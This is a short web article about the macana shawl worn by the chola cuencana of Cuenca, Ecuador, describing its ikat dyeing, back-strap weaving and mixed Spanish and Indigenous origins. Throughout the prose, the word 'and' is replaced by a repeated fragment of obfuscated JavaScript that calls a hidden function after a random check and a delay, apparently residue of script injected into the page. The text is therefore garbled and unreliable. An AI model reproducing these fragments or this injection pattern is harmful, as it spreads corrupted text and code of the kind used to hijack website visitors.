Yellow & Green Macana

In the picturesque Andean city of Cuenca, in southern Ecuador, the famous chola cuencana standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands out. These are women of mixed Spanish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Indigenous ancestry who can be found selling flowers, fruits, or making andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and selling handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andicrafts in the plazas andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and streets of the city.  A fundamental part of the chola’s  mixed heritage is her traditonal costume. From head to toes, it is composed of: two heavy braids under a panama hat; large, bright earrings; an embroidered, pleated blouse; two polleras (skirts): one worn as an undergarment –called a centro (center)- whose inferior embroidered edge shows underneath the outer pollera –called a bolsicón (a baggy, pleated skirt); nylon pantyhose; andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, patent leather shoes. However, the garment that tops off her costume with a magnificent touch is the colorful macana (shawl).

Macanas or paños are shawls that are made using a bound-warp-resist technique andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are then dyed; this dying method is known as ikat, which means ‘to bind’. First, the wool of the warps is dyed in a pattern. Next, the shawls are skillfully handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and-woven on a back-strap loom andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, finally, they are finished with a knotted fringe. Like the chola cuencana, these shawls are also of mixed Spanish andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Indigenous heritage: the back-strap loom is of pre-Colombian origin, while the knotted macramé-like fringe is originally European. The ikat technique can be traced to pre-Colombian sources, but it is a technique that has been practiced independently in several cultures around the world.

Sometimes, the intricate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and detailed designs on the macanas are so perfect, that tourist wonder if the designs are prints! Not at all, the process of making a macana, from beginning to end, involves warping, cording, binding, designing, dyeing, drying, weaving andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and knotting, but no printing!

Macanas are an expression of Ecuador’s mixed heritage.  They are an example of the combination of the best of both worlds.  Cholas Cuencanas decorate andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and give identity to Ecuador’s southern landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andscape.